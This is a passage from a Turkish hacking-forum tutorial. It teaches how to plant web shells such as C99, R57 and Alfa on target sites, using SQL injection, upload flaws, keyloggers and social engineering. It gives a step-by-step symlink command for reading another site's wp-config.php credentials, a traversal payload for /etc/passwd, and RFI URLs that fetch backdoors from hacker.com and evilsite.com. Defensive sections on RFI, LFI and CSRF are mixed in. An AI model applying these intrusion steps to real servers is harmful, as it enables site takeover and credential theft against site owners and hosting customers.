Şimdi sıralayalım. Kullanıcı girişleri yeterince kontrol etmezse sitenin bütününde güvensizlik oluşturur ve bu açık meydana gelir. Bu açık meydana gelirse diğer açıklara da sebebiyet verebilir ve başka saldırıların başlatılmasına ön ayak olur.

Bu sayede sistemin bütünlüğü en kötü şekilde tehlikeye atılmış olur.


imcpwfz.jpg


4.1 Hedef Siteye Shell Atma

Shell’i servere yükleme yöntemi için bir kaç madde halinde açıklayalım.
  • Remote file inclusion (RFI) açıklarından faydalanabiliriz​
  • Sql injection açıklarından faydalanabiliriz​
  • Exploits kullanarak yükleme yapabiliriz​
  • Upload (Dosya izinlerinden oluşan upload açıkları) açıklarından faydalanabiliriz​
  • Logger vb. spy yazılımlardan faydalanabiliriz​
  • Hedef sunucu hostundan hesap açarak yükleme yapabiliriz​
  • Sosyal mühendislik (social engineering) kullanarak yükleme yapabiliriz​
1) Remote file inclusion açıklarını kullanarak .txt uzantılı shellimizden bu yazımızda bahsettiğimiz izinler çerçevesinde(permissionlar) istediğimiz gibi .php uzantılı shell yükleyebiliriz. veya bağlandığımız .txt shell ile yine sunucu yetkileri çerçevesinde alt dizinlere geçebiliriz yada indeximizi upload eder çıkarız.

siteadi.com : siteadi.com

ile bağlandığımız siteye .php uzantılı shelli upload edersek kullanımı şu şekilde olur.

SiteAdi.com – Siteadi.com
şeklinde kullanıma geçebiliriz.

Şuanda RFI bitmesede çok nadir rastlanan açıklar haline geldi. Nolur nolmaz gene de bütün güvenlik bilgilerinizi RFI açığına bağlamayınız.

2) SQL Injection Açığıyla nasıl shell yükleriz derseniz, öncelikle SQL açığını kullanmasını bilen mantığı hemen anlar. Nedir bu mantık? Sql kodları yardımıyla site sahibinin kullanıcı adı ve şifresini elde ediyoruz. kimi zaman md5 seklinde şifre gelir, bizde md5 cracker yardımıyla hashleri kırarız.
elde ettiğimiz kullanıcı adı ve şifre ile siteye giriş yaparız, admin panelden bir upload kısmından shell dosyamızı (.php veya .asp) upload ederiz ve yine sunucuya bağlanmış oluruz.

Sql şuanda en çok kullanılan yaygın hacking (güvenlik zafiyeti) yöntemlerinden biridir. Çok büyük sitelerde, CMS sistemlerde bile rastlanan hiç değilse her serverde en az 1 den fazla sitede rastlanan açıktır.

3) Exploits kullanarak shell atabiliriz bu da yine derlenmiş exploitler sayesinde sitenin admin bilgilerini (kullanıcı adı ve şifresini) elde ederek admin panelden shell upload edebiliriz ve yine sunucuda yetkilerimiz dahilinde işlem yapabiliriz.

Bu kısma şöyle bir örnek verelim, bir dönem IPBoard forumlarında belirli açık sayesinde yazılan exploits ile admin şifrelerine ulaşabiliniyordu. Tabi CMS sistemler sürekli güncellendiğinden daha sonraları kapatıldı bu açık.

4) Upload açıklarından faydalanarak sitelere shell yükleyebiliriz. Burada genellikle .php veya .asp uzantılı shellerimizi kabul etmeyen upload siteleriyle karşılaşıyoruz. Bunun için shell içine gıf89;a yazısını ekleyerek upload sayfasının yükleyeceğimiz shelli resim dosyası olarak görmesini sağlayabiliriz.
Aklınızın alamayacağı kadar çok upload açıklı dosyalar vardır. Bunlardan en çok kullanılan bir iki tanesini buraya bakalım;

upload.php , upload.asp , upload.htm , upload.html
Tabi bu uzantıları ve upload sayfalarını siz hayal gücünüze bağlı olarak üretebilirsiniz. Hazır dizin veya sayfa bulucular da mevcut. Onları da araştırabilirsiniz.

5) Logger vb. spy yazılımlar kullanılarak shell yüklenmesi öncelikle hedef sitemizin adminini buluyoruz gerekli sosyal mühendislik vb. işlemleri gerçekleştirdikten sonra loggeri yedirip admin şifreleride dahil olmak üzere ftp ve mail şifrelerini alıyoruz. Tabi bu kısım ayrı bir uzmanlık alanı gerektirir. Çok geniş bir konudur ki tecrübe ister. Neyse devam edelim aldığımız şifreler sayesinde site sahibinin yetkilerini almamıza rağmen FTP’sine girdiğimiz sitenin sunucusunada ulaşmak istiyorsak shell upload eder ve yetkilerimiz çerçevesinde izinlerimizi kullanarak siteyi veya tüm serveri hackleyebiliriz.

6) Host firmasına yapılan sosyal mühendislik ile shell yükleme işi ise şöyle yapılır, diyelim ki hedef bir sitede her şeyi yapmamıza rağmen bir türlü açık bulamadık. Genelde son çare olarak kullanılan bu yöntemle hostçuyla irtibata geçer sosyal mühendislik yaparak sunucudan bir hesap açarız, açtığımız hesapta ise küçük bir script kurar ve FTP’mize shell atarak serveri rootlar hedef siteye ulaşırız veya manuel geçişler yaparak da hedef siteye ulaşabiliriz.

7) Sosyal mühendislik yöntemiyle siteye shell yükleme yapabiliriz. Burada işin içine sosyal mühendislik girdiği için belirli bir yöntem yoktur. Ancak sm yapan kişinin kabiliyetine, tecrübesine bağlıdır. Kişi sosyal mühendislik yapabilecek kabiliyetteyse çok kolay ve rahat bir şekilde çeşitli yollarla siteye veya FTP’ye ulaşarak shell atabilir. Ancak bu Sosyal mühendislik olayı ayrı bir uzmanlık alanı olduğu söyleyelim. Forumumuzda zaten binlerce sosyal mühendislik konuları mevcut, onlar okunabilir.

Evet shell yükleme yöntemlerimiz bu şekilde idi.

Kaç Tür Shell Vardır?

Genel olarak kullanılan 3 çeşit shell vardır. Bunlar .php, .asp ve .aspx dillerindeki shellerdir. Şuanda bu dillerde yazılmış 1000lerce shell var hepsinin çalışma mantığı aynıdır ancak birkaç farklı özellik eklenmiş halleri vardır.

En çok Kullanılan Sheller Başlıca Şöyledir:

C99.php (Yeni başlayanlar için kullanımı kolay, arayüzü oldukça basit bir shell)
R57.php (Shell sistemini artık çözmüş kod bilgisine döken kişiler kullanır)
CyberSpy5.asp ( Genellikle yetkili (usta) kişilerin kullandığı shelldir)
LORD.aspx ( ihtiyacı gören, kullanışlı zaman zaman kullandığımız tavsiye bir shelldir.)
c99 veya r57 .txt sheller ( Bunlar RFI için kullanılan shellerdir, RFI’de .asp shell veya .php shell kullanılmaz.)

şimdi şöyle devam edelim ve bitirelim;

.php uzantılı sheller unix, linux, freebsd sunucularında kullanılır.

.asp uzantılı sheller ise windows sunucularda kullanılır.

şimdi siz bir linux server’e .asp uzantılı shell atamazsınız atsanız dahi çalıştıramazsınız.

ancak windows serverlere nadirende olsa rastlanmıştır. .php uzantılı sheller atılabilirken, .asp shell kadar yetki vermiyor. genelde editleme yetkisine rastlanıyor. Yükleme ve silme yetkileri bulunmamaktadır.

Bu sebepten shell yükleyeceğiniz sitenin sistemini araştırmanız ve iyi bilmeniz gerekmektedir.



gkss0a5.jpg


4.2 Shell Atarak Server Bypass Etme (Config Okuma)


Buradaki asıl amacımız symlink, config grabber işlemlerini denediyseniz ama config okuyamadıysanız diye deneyebileceğiniz bir işlemdir.

Bir siteye shell yükledikten sonra config okumak için ne kadar yöntem varsa eğer denerseniz illa ki bir şekilde okunur. Bizlerde size bunu göstermek istiyoruz. Çünkü bir siteye girip index atmak kolay ama önemli olan devamını getirmektir. Daha fazla uzatmadan neler yapabileceğinizi gösterelim.

k9rcsrj.jpg


Hedef sitemiz bu.



hn0q7vt.jpg



Symlink’e Basıyoruz. Bastıktan sonra sitenin wordpress olduğunu görüyoruz. O yüzden config dosyası olan wp-config.php’ye tıklıyoruz.


7pjevgv.jpg



Tıkladığımız da böyle bir hata alıyoruz.


cnvfwic.jpg



Daha sonra alfa shell üzerinden cgi shelle geliyoruz. Buradan perl veya pythondan birini seçiyoruz. Ben perl’i seçtim.


d28001w.jpg



Birini seçtikten sonra karşımıza bu ekran gelecek


1bxhay3.jpg



config okumak için:

ln -s /home/xxxx/public_html/wp-config.php config1.txt şeklinde komut veriyoruz.

Komutumuzu verdikten sonra site adresinden:

/ALFA_DATA/cgialfa kısmına geliyoruz. Shelli nereye yüklediyseniz oradan yapıştırıp geçebilirsiniz. Mesela örnek dizin yerimiz:

wp-content/plugins/wordpress/includes/ALFA_DATA/cgialfa

bu şekilde. Wordpress sitelere plugin ile shell yükleyebilirsiniz.


b0dlcmt.jpg



dizine de geçtikten sonra karşımıza config çekmesini istediğimiz dosyayı göreceğiz. Ben 1.txt diye komut verdim. Eğer txt dosyasına tıklarsanız config bilgilerini görmüş olursunuz.


hus5ue2.jpg



Bu işlemde bu kadar basit. Sizler de bu şekilde bypass yöntemleri deneyerek config okuyabilir ve birden fazla site hackleyebilirsiniz.


h7fao2l.png



nouyzxe.jpg


4.3 Web Site Saldırılarına Karşı Önlemler

Saldırganlar, web sitesi güvenlik açıklarından yararlanmak için çeşitli yöntemlerden yararlanır. Sonuç olarak, siteler arası komut dosyası çalıştırma saldırısı riskini azaltmak için tek bir strateji yoktur.

Siteler arası komut dosyası oluşturma kavramı, güvenli olmayan kullanıcı girişinin doğrudan bir web sayfasına işlenmesine dayanır. Kullanıcı girdileri uygun şekilde sterilize edilirse, siteler arası komut dosyası çalıştırma saldırıları imkansız olacaktır.

Web sitelerinde kullanıcılara ait girdilerin zarar görmemesi için farklı çözümler sunulabilir. Web sitenizi korumak için, web uygulamalarınızı aşağıdaki koruyucu önlemlerle güçlendirmenizi öneririz.
  • Güvenlik Açığı Kodu Bulun: Siteler arası komut dosyası çalıştırmadan kurtarmanın ilk adımı, güvenlik açığının nerede olduğunu belirlemektir.​
  • Kötü Amaçlı İçeriği ve Arka Kapıları Kaldırın: Kötü amaçlı yazılımın konumu hakkında bilgi edindikten sonra, kötü amaçlı içeriği veya kötü verileri veritabanınızdan kaldırın ve temiz bir duruma geri yükleyin. Ayrıca arka kapılar için web sitenizin geri kalanını ve dosya sistemlerini kontrol etmek isteyeceksiniz.​
  • Güvenlik Açığını Düzeltin: Veritabanlarındaki, uygulamalardaki ve üçüncü taraf bileşenlerdeki güvenlik açıklarından sıklıkla bilgisayar korsanları yararlanır. Güvenlik açığı bulunan yazılımı belirledikten sonra, diğer güncel olmayan bileşenlerle birlikte güvenlik açığı bulunan koda yamalar ve güncellemeler uygulayın.​
  • Kimlik Bilgilerinizi Güncelleyin: Bir güvenlik açığı oluştuğunda, güvenlik açığı yamalanır yüklenmez tüm parolalarınızı ve uygulama sırlarınızı değiştirmeniz önemlidir. Veritabanında hileli yönetici kullanıcı veya arka kapı bulunmadığından emin olmak için verilerinizi temizleyerek yeniden bulaşmayı önleyin.​
  • Bir WAF Ayarlayın: Web sitenize gelen kötü niyetli istekleri filtrelemek için bir web uygulaması güvenlik duvarı kurmayı düşünün. Bunlar, yamalar kullanıma sunulmadan önce yeni güvenlik açıklarına karşı koruma sağlamak için özellikle yararlı olabilir.​


h7fao2l.png



hw0feiv.jpg


5. Brute Force Nedir?

Brute Force hackerların deneme-yanılma yoluyla şifreleri çözebilmek için kullandığı bir dijital ve kriptografik saldırı tekniğidir. Brute Force saldırısında, hackerlar saldıracak hedefte bir bilgi bulamamasına karşılık tahmin ve internet ortamında bulunan basit şifre türlerini listeler, daha sonra hedefe yönelik listelenen şifrelerin denenmesi için yardımcı bir yazılım oluşturulur yahut şifreler tek tek denenir ve kırılmaya çalışılır.

Çoğu Brute Force saldırısı otomatiktir bu yüzden her şirket bu tarz bir saldırıda hedef olabilir.




c8ujdt4.jpg


5.1 Kaba Kuvvet Saldırıları

Brute force kaba kuvvet saldırılarının pek çok türleri mevcuttur. Her bir kaba kuvvet saldırısı, hassas verileri ortaya çıkarmak için farklı yöntemler kullanmaktadır.

Kaba kuvvet (brute force) saldırılarının türleri:
  • Basit kaba kuvvet saldırıları: Bir siber saldırgan yazılım araçları ya da sözlük benzeri diğer araçlardan yardım almaksızın kişisel bilgilerinizi tahmin etmeye çalışabilir. Söz konusu yöntem sadece basit düzeydeki şifreleri ortaya çıkarmaya yarar.​
  • Sözlük saldırıları: Kaba kuvvet saldırılarındaki temel araç konumundaki sözlükler, şifre kırma işlemlerindeki en işlevsel bileşenlerden biri. Standart ya da özel sözlükler kullanılarak yapılan saldırılarda bilgisayar korsanı, seçtiği hedefin kullanıcı adına ilişkin olası şifreleri çalıştırmayı deniyor. Sıralı saldırı türü olarak da bilinen sözlük saldırılarının biraz zahmetli olduğunu belirtmek gerek.​
  • Hibrit kaba kuvvet saldırıları: Basit kaba kuvvet ve sözlük saldırılarının birleşimi şeklinde düşünebileceğiniz hibrit saldırılarda mantıksal tahminler ve dış araçlar kullanılıyor. İlgili yöntem yaygın sözcüklerin rastgele karakterlerle karıştırıldığı birleşik parolaları bulmak için tercih ediliyor.​
  • Ters kaba kuvvet saldırıları: Yakın zamandaki veri ihlallerinden sızdırılan şifrelerin kullanıldığı yöntemde eşleşme bulunana kadar milyonlarca kullanıcı adı aranıyor. Ters saldırıda yaygın yaklaşımın aksine bilinen bir paroladan denemeye başlanıp ters strateji uygulanıyor.​
  • Tekrar eden kimlik bilgisi saldırıları: Kimlik bilgisi doldurma olarak da ifade edilen saldırı birçok web sitesinde aynı oturum açma bilgilerini kullananları hedef alıyor. Bilgisayar korsanı verilerini daha önce ele geçirdiği şirket ya da kamu kurumu çalışanı üzerinden saldırıyı planlıyor.​


Brute Force İle Site Hacklemek İçin TIKLAYINIZ (1)

Brute Force İle Site Hacklemek İçin TIKLAYINIZ (2)


h7fao2l.png



a9cjmsd.jpg


6. RFI ve LFI

Uzaktan Dosya Ekleme (RFI), en sık PHP çalıştıran web sitelerinde bulunan bir güvenlik açığı türüdür. Saldırganın, genellikle web sunucusundaki bir komut dosyası aracılığıyla uzaktan barındırılan bir dosya eklemesine olanak tanır. Güvenlik açığı, kullanıcı tarafından sağlanan girişin doğru doğrulama olmadan kullanılması nedeniyle oluşur. Bu, dosyanın içeriğinin çıktısını almak kadar az bir şeye yol açabilir, ancak önem derecesine bağlı olarak rasgele kod yürütülmesine neden olabilir.

Yerel Dosya İçerme (LFI) RFI'ye çok benziyor; tek fark, LFI'de saldırganın kötü amaçlı komut dosyasını yerel olarak yürütülmek üzere hedef sunucuya yüklemesi gerektiğidir.

Diğer bir tabirle;

File Inclusion : Dosya ekleme olarak tabir edilebilen bir zayıflıktır. File Inclusion saldırıları, PHP web yazılım dilinde karşılaşılan bir güvenlik açığıdır. Kötü niyetli saldırganın, yerel (local) ve uzaktan (remote) kod çalıştırmasına olanak sağlar.

LFI (Local File Inclusion) : Yerelden dosya ekleyerek kod çalıştırmaktır.

RFI (Remote File Inclusion) : Uzaktan dosya ekleyerek kod çalıştırmaktır.


f3vge6m.jpg


6.1 RFI Nedir?

RFI (Remote File Inclusion) Örneği

index2.php dosyası:

CSS:
include(“$duyurular/guncel/duyuru.php”);

Bu satırdaki “$” işareti bulunan parametreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür.

Yukarıdaki şekilde, adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.
Bu noktada saldırgan yönlendirilen alanda shell ve listpatch isimleriyle tabir edilen kötü amaçlı scriptçikleri kullanarak web sitenin sunucusuna sızmaktadır! Böylelikle sunucu üzerinde istenilen işlemleri gerçekleştirebilmektedir. Bunların en çok kullanılanları r57, C99 ve veryasyonlarıdır.


Mesela R57 Shell’inin özelliklerine bir değinelim…
R57 web üzerinde komut çalıştırma, dizin atlama, dosya düzenleme, yeni dosya oluşturma, dosya çalıştırma, veritabanına bağlanma&bağlantıları görme, dosya içeriği okuma, dosya yükleme ve dosya indirme vs.. özellikleriyle sunucu üzerinde yetkisiz olarak birçok işlev gerçekleştirmektedir.
Sql veritabanına bağlantı kurabilir, veritabanını dışarı aktarabilir ve belirtilen veritabanı üzerine sql komutları çalıştırabilir. Bu özelliği ile hedef sitenin veritabanı bilgilerini barındıran dosyayı dışarı aktarabilir ve sql komutlarıyla istenilen diğer işlemler yapılabilir.
Özellikle hosting firmalarının çok fazla siteyi aynı sunucuda barındırdığını düşünürsek herhangi bir sitede güvenlik açığı olması durumunda o sunucu üzerinde bulunan tüm web siteleri ve sunucu tehlike altındadır.


s38w8j7.jpg


6.2 LFI Nedir?


LFI (Local File Inclusion) Örneği

CSS:
index.php dosyası:
<?php
include($_GET['sayfa'])
?>

Bu gibi bağlantılar içeren bir web sitesinde aşağıdaki gibi bağlantı istekleri oluşturulur:

index.php?sayfa=haberler.php

index.php?sayfa=iletisim.php

En basit görünümüyle böyle bir yazılım, LFI (Local File Inclusion) zayıflığını oluşturur:

* index.php?sayfa=../../../../../../../../../etc/passwd

Yukarıdaki “../” ifadesi bulunduğu dizinden bir üst dizine çıkmayı sağlar ve sunucunun /etc/passwd içeriğini yani user listesini ekrana yazdırır:


CSS:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…..


oyn77jm.jpg


6.3 RFI ve LFI Aralarındaki Farklar Nelerdir?


Uzaktan dosya ekleme (RFI), harici komut dosyalarına dinamik olarak başvuran web uygulamalarındaki güvenlik açıklarını hedefleyen bir saldırıdır.

Failin amacı, farklı bir etki alanında bulunan uzak bir URL’den kötü amaçlı yazılım (ör. arka kapı kabukları) yüklemek için bir uygulamadaki referans işlevinden yararlanmaktır.

Başarılı bir RFI saldırısının sonuçları arasında bilgi hırsızlığı, güvenliği ihlal edilmiş sunucular ve içerik değişikliğine izin veren bir site ele geçirme yer alır.

RFI’ye benzer şekilde, yerel dosya ekleme (LFI), kötü amaçlı dosyaların web tarayıcıları aracılığıyla sunuculara yüklenmesini içeren bir vektördür. Dosya dahil etme saldırıları bağlamında genellikle iki vektöre birlikte başvurulur.

Her iki durumda da başarılı bir saldırı, kötü amaçlı yazılımın hedeflenen sunucuya yüklenmesiyle sonuçlanır. Ancak, RFI’den farklı olarak, LFI saldırıları, kullanıcı tarafından sağlanan/kontrol edilen girdiyi doğrulamakta başarısız olan güvenli olmayan yerel dosya yükleme işlevlerinden yararlanmayı amaçlar.

Sonuç olarak, kötü niyetli karakter yüklemelerine ve dizin/yol geçiş saldırılarına izin verilir. Failler daha sonra kötü amaçlı yazılımı uzak bir konumdan sertleştirilmiş bir harici referans işlevi kullanarak almak yerine, güvenliği ihlal edilmiş bir sisteme doğrudan yükleyebilir.


6izl4qj.jpg


6.4 Saldırıdan Korunma Yöntemleri


Yöntem 1

Yazılan kodların RFI açıklarına karşı kontrol edilmesi.



Zayıf Kod:

PHP:
<?php

include ($ornek. ‘../index.php’);

?>

Güvenli Kod:


PHP:
<?php

$ornek= ‘veri’;

include ($ornek. ‘../index.php’);

?>

örnek değişkenine tanımlama yapıldığından dış verinin girişine izin vermeyecek ve RFI & LFI açıklarından korunmamızı sağlayacaktır.


Yöntem 2

php.ini

/etc/php.ini
dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özellikleri yazarak web shell scriptçiklerinin etkisiz kalmaları sağlanabilir:

disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice


9p2fpmq.jpg

6.5 Uzaktan Dosya Ekleme Örnekleri

RFI penetrasyonlarının nasıl çalıştığını göstermek için şu örnekleri göz önünde bulunduralım:

  1. Bir JSP sayfası şu kod satırını içerir: <jsp:include page=”<%=(String)request.getParmeter(“ParamName”)%>”> aşağıdaki istekle değiştirilebilir: Page1.jsp?ParamName= /WEB-INF/DB/parola.​

Talebin işlenmesi, şifre dosyasının içeriğini faile ifşa eder.

  • Bir web uygulamasının, burada gösterildiği gibi bir URL adresinden içerik talep eden bir içe aktarma ifadesi vardır: <c:import url=”<=request.getParameter(“conf”)%>”>.​
Temizlenmemişse, aynı ifade kötü amaçlı yazılım enjeksiyonu için kullanılabilir.


Örneğin: Page2.jsp?conf=https://evilsite.com/attack.js.

  • RFI saldırıları, genellikle, uzak bir kötü amaçlı dosyaya başvurmak için istek parametrelerinin değiştirilmesiyle başlatılır.​

Örneğin, aşağıdaki kodu göz önünde bulunduralım:

$incfile = $_REQUEST[“file”]; include($incfile.”.php”);

Burada, ilk satır HTTP isteğinden dosya parametre değerini çıkarırken, ikinci satır dosya adını dinamik olarak ayarlamak için bu değeri kullanır. Dosya parametre değerinin uygun şekilde dezenfekte edilmediği durumlarda, bu kod yetkisiz dosya yüklemeleri için kullanılabilir.



qa7o0p6.jpg


Örneğin, bu URL dizesi;

http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor uzak bir konumda depolanan bir arka kapı dosyasına harici bir referans içerir.

(http://www.hacker.com/backdoor_shell.php.)

Uygulamaya yüklendikten sonra, bu arka kapı daha sonra temel sunucuyu ele geçirmek veya uygulama veritabanına erişim sağlamak için kullanılabilir.

R57 arka kapı kabuğu, RFI bölümleri için popüler bir seçimdir.



61anknu.jpg

6.6 DIY RFI Önleme ve Azaltma

Bir dereceye kadar, uygun giriş doğrulama ve temizleme yoluyla RFI saldırıları riskini en aza indirebilirsiniz. Ancak, bunu yaptığınızda, tüm kullanıcı girdilerinin tamamen sterilize edilebileceği yanılgısından kaçınmak önemlidir. Sonuç olarak, sterilizasyon yalnızca özel bir güvenlik çözümünün tamamlayıcısı olarak düşünülmelidir.

Bunu söyledikten sonra, kullanıcı tarafından sağlanan/kontrol edilen girdileri elinizden gelen en iyi şekilde sterilize etmek her zaman tercih edilir.

Bu girdiler şunları içerir:

GET/POST parametreleri
URL parametreleri
Çerez değerleri
HTTP başlık değerleri

Temizleme sürecinde, giriş alanları bir kara liste (izin verilmeyen kötü niyetli karakterler) yerine bir beyaz listeye (izin verilen karakter kümesi) göre kontrol edilmelidir. Saldırganlar, kodlanmış veya onaltılık biçimler gibi farklı bir biçimde girdi sağlamayı seçebildiğinden, genel olarak kara liste doğrulaması zayıf bir çözüm olarak kabul edilir.

Ayrıca, sunucu tarafında uygulanacak çıktı doğrulama mekanizmaları için en iyi uygulamadır. İşlem yükünü azaltma avantajına sahip olan istemci tarafı doğrulama işlevleri, proxy araçları tarafından yapılan saldırılara karşı da savunmasızdır.

Son olarak, yükleme dizinleri için yürütme iznini kısıtlamayı ve izin verilen dosya türlerinin (örneğin PDF, DOC, JPG, vb.) beyaz listesini tutmayı ve aynı zamanda yüklenen dosya boyutlarını kısıtlamayı düşünmelisiniz.

Son olarak yararlı bulduğum konulardan biri olan LFİ & RFİ Ofansif ve Defansif Anlatım konusu okumak için TIKLAYINIZ.



h7fao2l.png




ec58a76.jpg


7. CSRF Nedir?

CSRF yani siteler arası istek sahtekarlığı, herhangi bir web uygulamasında oturum açmış bir kullanıcının oturumunu o web sitesinin açığından faydalanarak kullanıcının isteği dışında , saldırganın sanki o kullanıcıymış gibi erişim sağlayıp işlemler yapmasıdır. Web sitelerindeki bu açıklar, çoğunlukla GET requestleri ve SESSION işlemlerinin doğru kontrol edilememesi gibi durumlarda ortaya çıkan açıklardır. Uygulamaya giden isteklerin hangi kaynaktan ve nasıl gönderildiği kontrol edilmeyen sistemlerde ortaya çıkan bu zafiyet, “Session Riding” olarak da bilinir.


Saldırganların kullanıcının oturumuna erişebilmeleri için sadece zararlı bağlantıya tıklaması yeterlidir. Örneğin bu saldırılar, hesaplardaki e-posta adresini değiştirmek, şifreleri değiştirmek veya para transferi yapmak olabilir. Güvenliği ihlal edilmiş kullanıcının ekstra yetkinlikleri varsa saldırgan, uygulamanın tüm verilerinin ve işlevlerinin tam denetimini ele geçirebilir.


h81uweh.jpg


7.1 CSRF Saldırısı Nasıl Oluşturulur?


CSRF saldırısı oturum açmış bir kullanıcının saldırganın kontrol ettiği web sitesine erişmesi sağlanır ve sonra JavaScript kodu çalıştırılarak veya formlar göndererek süreci ilerletir. Bir CSRF zafiyeti için gereken HTML'yi manuel bir şekilde yazmak özellikle request çok fazla parametre içeriyorsa zor olur. Bir CSRF istismarı oluşturmak için en kolay yöntem Burp Suite programında bulunan CSRF PoC oluşturucuyu kullanmaktır.



ar94py8.jpg


7.2 Saldırı Yapmak İçin Gerekenler

Bir CSRF güvenlik açığını kötüye kullanabilmek için ilk yapacağınız şey kötüye kullanabileceğiniz bir davranış bulun örneğin; şifreyi veya e-postayı değiştirin, mağdurun sizi bir sosyal ağda takip etmesini sağlayın. Oturum yalnızca tanımlama bilgilerine veya HTTP Temel Kimlik Doğrulama başlığına dayanmalıdır, oturuma erişim için başka bir başlık kullanılamaz. Son olarak, istekte beklenmedik parametreler olmamalıdır.

Bu güvenlik açığına yakalanmamak için yapabileceğiniz birkaç yöntem bulunmaktadır. Bunlar;

  • Oturum çerezi SameSite çerezleri kullanıyorsa, çerezi rastgele web sitelerinden gönderemeyebilirsiniz.​
  • Kaynaklar arası kaynak paylaşımı: ne tür bir HTTP isteği gerçekleştirmeniz gerektiğine bağlı olarak, mağdur sitenin CORS policysini es geçmeyin.​
  • Parola kullanıcısından eyleme yetkilendirme vermesini isteyin .​
  • Bir captcha'yı çözün.​
  • Referrer veya Origin başlıklarını okuyun.​
  • Post veya Get isteklerinin parametrelerinin adını değiştirin​
  • Her oturumda bir CSRF token kullanın. Token, eylemi onaylamak için isteğin içinde gönderilmelidir ve CORS ile korunabilir.​
Not: Saldırı yaparken kötüye kullanmak istediğiniz form CSRF token ile bir POST isteği göndermek için hazırlanmış olabilir. Bunun bir GET'in de geçerli olup olmadığını ve bir GET isteği gönderdiğinizde CSRF tokenın onaylanıp onaylanmadığını kontrol etmelisiniz .

Not: Bazı uygulamalar token olduğunda başarılı bir doğrulama yapar ama token atlanırsa doğrulama işlemi de atlanmış olur. Böyle bir durumda saldırgan , doğrulamayı atlayarak CSRF saldırısı gerçekleştirmek için sadece değerini değil token içeren tüm parametreyi kaldırabilir.

h20mm2l.jpg


7.3 CSRF Nasıl Tespit Edilir?

Kullanıcı tarafından gönderilen bir HTTP isteğinin gerçek kullanıcı mı yoksa bir saldırgan tarafından mı gönderildiğini tespit etmek kolay değildir. Sistemde Token yöntemi kullanılması, kimliğin arka planda otomatik olarak doğrulanmasını sağlar bu sayede kullanıcı sürekli kimlik doğrulama istekleriyle uğraşmaz. Genelde CSRF açığını engellemek için sisteme giriş yapan kullanıcıya, her işlemde farklı ve tahmin edilmesi güç token bilgisi verilir. Verilen bu token bilgisi oturum boyunca aynı kalmaz ve kullanıcı oturumu kapatınca geçersiz hale getirilmelidir. Eğer token veya benzeri bir anahtar kontrolü yapılmazsa, arka planda gönderilen sahte bir istek ile gerçek kullanıcının gönderdiği istek ayırt edilemez ve güvenlik zafiyeti ortaya çıkar.

Not: CSRF token oturum tanımlama bilgisi ile ilgiliyse, hedefi oturuma ayarlamanız gerekeceği için saldırı çalışmaz ve kendinize saldırmış olursunuz.


6rkilxm.jpg


7.4 CSRF Zafiyetine Karşı Alınabilecek Önlemler

CSRF zafiyetine karşı hem sistem tarafından hem de kullanıcı tarafından alınabilecek birkaç önlem bulunur. Bu önlemler sistem ve kullanıcı tarafında olmak üzere ikiye ayrılır.

Sistem tarafında alınması gereken önlemler:

Token kullanın: En popüler olan bu yöntem kullanıcıya her oturum için random ve benzersiz “token” bilgisi verilir. Bu yöntem CSRF Token veya Synchronizer Token olarak adlandırılır. Web uygulaması, sistem tarafından oluşturulmuş tokeni, istek token ile karşılaştırır. Eğer token verileri eşleşirse, isteğin gerçek kullanıcı tarafından gönderildiği anlaşılır ve istek onaylanır. Veriler eşleşmezse istek reddedilir ve böylece kötü niyetli istekler engellenmiş olur.

Get metodu yerine Post metodu kullanın: Kullanıcının sisteme gönderdiği önemli veriler POST metodu ile alınmalıdır.

CAPTCHA kullanın: Bir web formunda captcha doğru olmadığı için işlem gerçekleşmeyeceği için “CSRF” saldırısına karşı bir önlemdir.

Kesin çözüm değildir ancak kullanıcılardan gönderilen isteklerin `HTTP Referer` başlıklarını kontrol edin.


Double Submit Cookie Pattern Yöntemi kullanın: Çerez ve istek parametresinde rastgele bir değer göndermedir. Kullanıcıların oturum açma talebi sistemde doğrulandığında sistem istemci tarafında oturum ID si oluşturur ve çerezlere kaydeder. Bunun yanında token oluşturur ve kullanıcının makinesinde ayrı bir çerez olarak saklar. Server, form parametresi olarak gönderilen tokeni, çerez değerine bakarak doğrular ve tamamlanacak işlemi yetkilendirir. Çapraz kökenli bir saldırgan, aynı kökenden gelen ilkeye göre sunucudan gönderilen verileri okuyamaz veya çerez değerlerini değiştiremez.

Kullanıcı tarafında alınması gereken önlemler:

Çerezleri ve web site verilerini düzenli periyotlarla temizleyin.

Bilmediğiniz kaynaklardan gelen bağlantılara tıklamayın ya da kimden geldiğini anlamadığınız mailleri kontrol etmeden açmayın.

Kişisel bilgilerin bulunduğu web uygulamalarının oturum bilgilerini bilgisayarda kayıtlı tutmayın.



qqtycmj.jpg


8. Login Bypass Nedir?

Yazılımcıların bazen unuttuğu, bazense çok önemsemediği güvenlik açıkları, saldırganların web sitelerinde çeşitli kötü amaçlı işlemler gerçekleştirmesine izin verebilir.

Bunlardan bir tanesi Login Bypass açığıdır. Bu güvenlik açığı, SQL Injection yöntemiyle veritabanını kontrol eden kullanıcı adı ve şifreyi kırarak gerçekleştirilir. Windows sunucularında Linux’a nazaran daha sık karşılaşılır. Özellikle ASP.NET ve ASP web uygulamalarında ve MsSQL ile Microsoft Access veritabanını kullanan sistemlerde önceden bir tedbir alınmadıysa bu güvenlik açığıyla karşılaşılabilir.

Web sitelerini özel PHP scriptlerle oluşturan firmalar aynı zamanda birçok SQL denetimini uygulamak zorundadır. Bir saldırgan Login Bypass, Authentication Bypass, No Redirect Login Bypass gibi yöntemlerle veritabanı yönetimine erişebilir ve kullanıcıların geçerli oturum kimliklerini veya tanımlama bilgilerini çalabilir.

Login mekanizmasını bypass ederek içeri sızma, temel olarak zayıf bir denetimden kaynaklıdır. Saldırganlar içeri sızdığında korumasız dosyaları ararlar. Bu güvenli olmayan dosyalara erişim sağlayarak bilgi toplar ve korumalı uygulamalara saldırmaya çalışırlar.



bfxjuld.jpg


8.1 Admin Panel Bulma

